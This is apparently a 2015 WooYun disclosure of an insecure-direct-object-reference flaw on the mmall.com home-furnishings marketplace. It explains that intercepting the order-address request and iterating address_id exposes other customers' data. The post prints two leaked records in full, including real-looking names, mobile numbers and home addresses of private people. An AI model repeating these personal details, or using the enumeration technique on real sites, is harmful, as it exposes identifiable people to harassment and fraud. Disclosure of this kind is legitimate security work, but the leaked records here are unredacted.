2015-06-30： 细节已通知厂商并且等待厂商处理中 2015-07-05： 厂商已经主动忽略漏洞，细节向公众公开
MMALL高危漏洞导致核心数据泄露
mmall.com红星美凯龙全国最大的家居商城，线下发展为线上，mmall域名百万交易在家居行业位居全国第一，秒杀苏宁、国美，天猫更是完全不具备竞争力===以上是广告，来看具体漏洞=========================首先注册任意一个账号，然后选择一件家居下单来到以下界面：
点击收货地址，抓包：
通过遍历address_id即可获得任意用户的姓名、手机和地址等信息：
"info": { "address_id": "123456", "consignee": "黄爱芬", "email": null, "country": "1", "province": "22", "city": "297", "district": "2449", "address": "莱山区银海路530号 五粮液旗舰店", "zipcode": "264000", "tel": null, "mobile": "13280928821", "sign_building": null, "is_default": "0", "province_name": "山东", "city_name": "烟台", "district_name": "莱山区", "postscript": null, "ispromotion": 0, "goodspromotion": 0, "shoppromotion": 0, "promotioninfo": "", "channeloid": "" },
"info": { "address_id": "122345", "consignee": "殷明", "email": null, "country": "1", "province": "26", "city": "322", "district": "2725", "address": "芳草街6号王府花园8栋4楼2号室", "zipcode": null, "tel": null, "mobile": "18628102107", "sign_building": null, "is_default": "0", "province_name": "四川", "city_name": "成都", "district_name": "武侯区", "postscript": null, "ispromotion": 0, "goodspromotion": 0, "shoppromotion": 0, "promotioninfo": "", "channeloid": "" }, "error": [], "goodsamount": { "SCSKU0000001210": { "earnestamount": "", "commissionrate": "5", "marketprice": "1998.00", "goodsprice": "1079.00" } }, "earnestInfo": [], "goods": { "1210": { "goods1210": "1210", "sku_id": "1210", "goods_id": "1606", "goods_sn": "SCGS0000001606", "goods_sku": "SCSKU0000001210", "spec_temp_id": null, "spec_attr1_id": null, "spec_attr2_id": null, "sku_price": "1079", "sku_number": "81", "sku_code": "BA51030-5P12", "sku_is_deleted": "0", "sku_is_enable": "1", "goods_type": "0", "goods_name": "喜梦宝实木家具现代简约松木床1.5米欧式实木床双人床白色床", "market_price": "1998", "goods_price": "1079", "goods_number": "81", "max_buy_number": "5", "is_deposit": "0", "goods_image": "http://img11.homemall.com.cn/group1/M01/3A/0E/ooYBAFPh-iyAOIWHAAHWSFYRekM071_65x65.jpg", "is_local": "1", "goods_is_deleted": "0", "audit_status": "3", "supplier_id": "1939", "is_stock_unlimited": null, "category1_id": "302", "category2_id": "402", "category3_id": "468", "is_standard": "1", "is_gift": "0", "supplier_status": "0", "commission_rate": "5", "spec": [], "goodsid": "1606", "goodssn": "SCGS0000001606", "goodssku": "SCSKU0000001210", "buynumber": 1, "categoryforone": "302", "categoryfortwo": "402", "categoryforthree": "468", "categoryforfour": null, "pat": "", "shippingfee": "0.00", "servicetype": 0, "serviceid": 0, "recode": 0, "message": "", "service": { "1": { "type": 1, "name": "快递", "transit_fee": "0.00", "city_transit": "0.00", "city_setup_fee": "0.00", "total_fee": "0.00", "is_transit_fee": 1 } }, "last_type": 1, "isaskprice": 0, "channelgid": "", "buy_status": 0, "buy_max_num": "5", "activity_name": "", "goodsattr": "", "isearnest": 0, "talltype": "", "beginline": "", "deadline": "", "startdeadlinedate": "", "enddeadlinedate": "", "isqbuy": 0 } }, "promotion_info": [], "orderamount": { "goodsamount": "1079.00", "shipping_fee": "0.00", "cutgoodsfee": "0.00", "cutshippingfee": "0.00", "couponsamount": "0.00", "cityprice": "0.00", "setupprice": "0.00", "orderamount": "1079.00", "earnestprice": "" }, "couponinfo": [], "saleinfo": [], "shoppromotion": [], "earnestinfo": [], "qbuyinfo": [], "pat": [], "activity_list": [] }, "amount": { "addressinfo": "四川 成都 武侯区 芳草街6号王府花园8栋4楼2号室", "userinfo": "殷明 18628102107", "user_name": "殷明", "user_mobile": "18628102107", "amount_shipping_fee": "0.00", "amount_setupprice": "0.00", "amount_cutgoodsfee": "0.00", "amount_cutshippingfee": "0.00", "amount_couponsamount": "0.00", "amount_orderamount": "1079.00", "all_earnestprice": null, "tail_price": null, "amount_is_true": 0 }}
危害等级：无影响厂商忽略
忽略时间：2015-07-05 09:30
漏洞Rank：4 (WooYun评价)
暂无
走小厂商也就算了，标题可以不要那么水么 。。╭(╯^╰)╮遍历=便利 @xsser
